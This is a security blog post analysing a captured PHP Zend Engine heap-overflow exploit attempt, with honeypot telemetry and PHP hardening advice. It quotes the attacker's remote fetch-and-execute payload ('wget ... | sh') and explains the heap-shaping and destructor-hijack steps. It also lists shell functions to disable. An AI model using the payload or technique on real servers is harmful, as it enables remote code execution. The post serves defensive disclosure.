EXPLOIT INTERNALS

Anatomy of a Zend Engine Heap Overflow: Dissecting PHP CVE-2026-109618

How weaponized multipart requests attempt ZendMM heap feng shui to hijack array destructors, and why real-world memory limits turned arbitrary code execution into a silent exit.

Y
Yogesh26 Oct 2026 · 14 min read

The Honeypot Incident: 63 KB of Precision Padding

Between 22 and 24 October 2026, sensors on our dual-honeypot research cluster (PHP lab VM 13.75.195.138) intercepted a sequence of anomalous, high-volume HTTP POST requests targeting /index.php. The requests originated from bulletproof infrastructure hosting providers, notably 85.11.167.243 (Severus LLC / Datacamp, AS44050) and 77.90.185.20 (Pinacl Datacentre, AS42831).

Unlike routine automated vulnerability scanners that spray standard SQL injection or path traversal strings, these requests delivered a tightly structured 62,929-byte multipart stream containing over 57 sequential padding form fields, active session progress tracking tokens, and binary chunk alignments targeting the PHP Zend Engine core (classified under CVE-2026-109618 / CVE-2026-109619).

Threat Classification This was not an off-the-shelf automated fuzz test. It was pre-compiled, weaponized exploit code targeting an uninitialized memory condition inside the internal hash table implementation of PHP's Zend Memory Manager (ZendMM).

Delivery Tooling: Why curl Wasn't Used

A common question in incident response is whether attackers fire these exploits using command-line tools like curl or wget. In this campaign, forensic analysis of the wire captures reveals that curl was never used. The attacker used custom socket-level streaming engines (written in Python, Go, or raw C).

Here is why standard HTTP clients cannot deploy this attack:

Step 1: Planting Dormant Bytes (ZendMM Heap Feng Shui)

The Zend Engine manages memory through a custom allocator implemented in Zend/zend_alloc.c. Rather than invoking system malloc() for every variable, ZendMM allocates large 2 MB memory slabs (ZEND_MM_CHUNK_SIZE) and subdivides them into granular bin allocators (ranging from 8 bytes up to large chunk blocks).

To maximize execution speed, ZendMM does not zero out (memset) memory when a chunk is freed. Instead, freed memory chunks are placed onto a singly-linked, Last-In-First-Out (LIFO) free list cache.

[ Attacker Multipart Stream: Preliminary Fields ]
  ├── Content-Disposition: form-data; name="pad_0" (64 bytes) -> Allocated in Bin 64
  ├── Content-Disposition: form-data; name="pad_1" (64 bytes) -> Allocated in Bin 64
  ...
  └── ZendMM Parser finishes reading pad_0 -> Free chunk -> Pushed to LIFO Head
      (Data is NOT wiped; attacker's dormant bytes remain in raw heap memory)

As the PHP multipart parser (main/rfc1867.c) reads each field, it allocates temporary memory for field names and values, then frees them as parsing progresses. The attacker sends dozens of carefully sized padding fields to saturate ZendMM's small bins. Because of LIFO reuse, the memory manager is tricked into placing the upcoming $_POST internal hash table buffer (ht->arData) directly over the memory location that was just freed—inheriting the attacker's dormant bytes.

Step 2: Shaping Stale Memory into a Fake zval and zend_array

In PHP 8, associative arrays and superglobals (like $_POST) are represented by the zend_array (HashTable) structure. Within the hash table, elements are stored in a contiguous array of Bucket structures, each containing a 16-byte zval:

struct _zval_struct {
    zend_value value;            /* 8 bytes: pointer to data (array, string, object) */
    union {
        struct {
            uint8_t type;        /* Data type tag (IS_UNDEF, IS_STRING, IS_ARRAY, etc.) */
            uint8_t type_flags;
            uint8_t u0;
            uint8_t extra;
        } v;
        uint32_t type_info;
    } u1;
    union {
        uint32_t next;
        ...
    } u2;
};

The vulnerability arises during rapid stream processing when an array allocation boundary occurs:

  1. When an incoming form field (e.g., name="t[]") is registered, the engine increments the array element counter:
    ht->nNumUsed++;
  2. Immediately following the counter increment, an out-of-memory (OOM) condition or parser termination is triggered by an oversized binary segment before the new bucket's value (ht->arData[idx].val) can be initialized with valid data.
  3. The uninitialized slot at ht->arData[idx] now contains the stale, un-cleared bytes planted during Step 1.
  4. The attacker carefully crafted these stale bytes so that:
    • u1.v.type equals 0x07 (the internal constant for IS_ARRAY).
    • value.arr is a 64-bit pointer pointing directly to another attacker-controlled buffer on the ZendMM heap (planted via PHP_SESSION_UPLOAD_PROGRESS), formatted as a forged zend_array C struct.

Step 3: Hijacking pDestructor during php_request_shutdown()

Once the memory limit or parser error terminates script execution, the PHP runtime initiates standard teardown procedures inside php_request_shutdown(). During this phase, PHP must free all request superglobals to prevent memory leaks:

zend_array_destroy(Z_ARRVAL(PG(http_globals)[TRACK_VARS_POST]));

This is where the weaponized code path executes:

  1. zend_array_destroy() iterates through all buckets from index 0 up to ht->nNumUsed - 1.
  2. When it reaches the uninitialized bucket, it reads the type tag. Seeing IS_ARRAY, the engine assumes the bucket contains a legitimate nested array.
  3. The engine calls zend_array_destroy(fake_array) on the attacker's forged pointer.
  4. Every zend_array structure in C contains a function pointer field named pDestructor:
    typedef void (*dtor_func_t)(zval *pDest);
    
    struct _zend_array {
        ...
        dtor_func_t pDestructor; /* Normally points to zval_ptr_dtor() */
        ...
    };
  5. In the attacker's forged zend_array, the pDestructor function pointer was overwritten with the address of system(), and the first element pointed to the command string:
    wget http://92.118.112.100/s -O- | sh
  6. When PHP executes ht->pDestructor(element) to destroy the array, the CPU instruction pointer is diverted straight into system()!

Why the Exploit Failed in the Wild

Despite the mathematical elegance of this heap exploit, in-the-wild exploitation attempts failed to achieve reliable Remote Code Execution on properly configured systems. Telemetry from our honeypot proves that the payload was trapped and terminated cleanly before execution occurred.

Vulnerability Requirement Real-World Production Reality Security Outcome
Micro-Timing of OOM Must trigger OOM immediately after ht->nNumUsed++. On systems with strict memory_limit = 2M or 32M, the memory ceiling was exhausted earlier during the 60 KB padding parsing.
Allocator Longjmp Safety Requires continuous execution into php_request_shutdown(). ZendMM allocation failure triggered zend_bailout(), which calls longjmp(EG(bailout), 1) to unwind the call stack, aborting before corrupted destructors ran.
64-Bit ASLR & PIE Requires exact 64-bit virtual memory addresses for system() and heap buffers. Without an information leak (memory disclosure bug), hardcoded pointers targeted unmapped pages, generating a silent crash (SIGSEGV) rather than a shell.

7-Day Telemetry Update (29 October 2026)

After seven full days of continuous operation across both Azure honeypot sensors (vm-php-cve-lab at 13.75.195.138 and vm-node-cve-lab at 20.248.171.140) correlated inside our Microsoft Sentinel workspace (Testyainstance), total captured telemetry reached:

Telemetry Source Captured Volume (22–29 Oct 2026) Key Adversary Activity & Signatures
PHP Honeypot (13.75.195.138) 16,248 external HTTP attacks (546 unique IPs)
485,492 PCAP packets (193.4 MB)
55,701 harvested SSH brute-force probes
85.11.167.243 (62.9 KB php2shell-109618 heap spray), 101.35.95.146 (libredtail-http PHPUnit RCE sweep on 29 Oct), 181.215.186.252 (ReconX-L2S/1.0 /.env & /__l2s_debug_probe__), 221.159.119.6 (OpenWrt LuCI RCE).
Node.js Honeypot (20.248.171.140) 5,238 external HTTP attacks (728 unique IPs)
440,597 PCAP packets (194.1 MB)
6,710 SSH brute-force failures
169.58.137.184 (libredtail-http CGI argument injection with embedded OpenSSH ED25519 key), 151.243.18.111 (600 recon probes), 45.198.224.169 & 15.204.225.168 (React Flight $1:__proto__:then deserialization probes).
Microsoft Sentinel (Testyainstance) 443,305 Syslog events
273,932 NTANetAnalytics flows
1,031 Sentinel Security Alerts
978 multi-port scan alerts, 47 high-severity suspicious payload / runtime failure alerts, and 0 host compromises across both isolated container runtimes.

Defensive Playbook: Hardening Production PHP

The fact that this attack failed due to environmental memory boundaries highlights the importance of defense-in-depth. If a production server runs with an unconstrained memory limit (e.g., memory_limit = -1 or 512M) or lacks OS-level process isolation, heap alignment can succeed.

To eliminate this entire attack vector across your infrastructure:

1. Disable Upload Progress in php.ini

Unless your application explicitly implements real-time file upload progress bars using PHP's internal session hooks, disable this feature immediately:

; In /etc/php/8.x/fpm/php.ini and /etc/php/8.x/cli/php.ini
session.upload_progress.enabled = Off

2. Maintain Restrictive Memory Limits

Avoid setting memory_limit = -1. Setting realistic thresholds (e.g., 32M or 64M) ensures that unexpected heap inflation from multi-part padding triggers zend_bailout() clean unwinding before heap structures can be manipulated.

3. Restrict Dangerous C Runtime Functions

Prevent compromised worker threads from invoking system shells by disabling process execution functions in php.ini:

disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec

4. Enforce Read-Only Temporary Filesystems

Attack stagers invariably write shell scripts to /tmp. Mount temporary directories with noexec in /etc/fstab:

tmpfs   /tmp        tmpfs   defaults,noexec,nosuid,nodev   0 0
tmpfs   /var/tmp    tmpfs   defaults,noexec,nosuid,nodev   0 0
tmpfs   /dev/shm    tmpfs   defaults,noexec,nosuid,nodev   0 0

Need an independent security review of your web stack?

Global SOC performs deep architecture reviews, perimeter exposure testing, and honeypot threat modeling for Australian organizations. Based in Glen Waverley, Melbourne.

Speak with Yogesh
Y
Yogesh runs Global SOC in Glen Waverley, Melbourne, helping Australian businesses protect critical infrastructure, analyze threat telemetry, and build secure applications.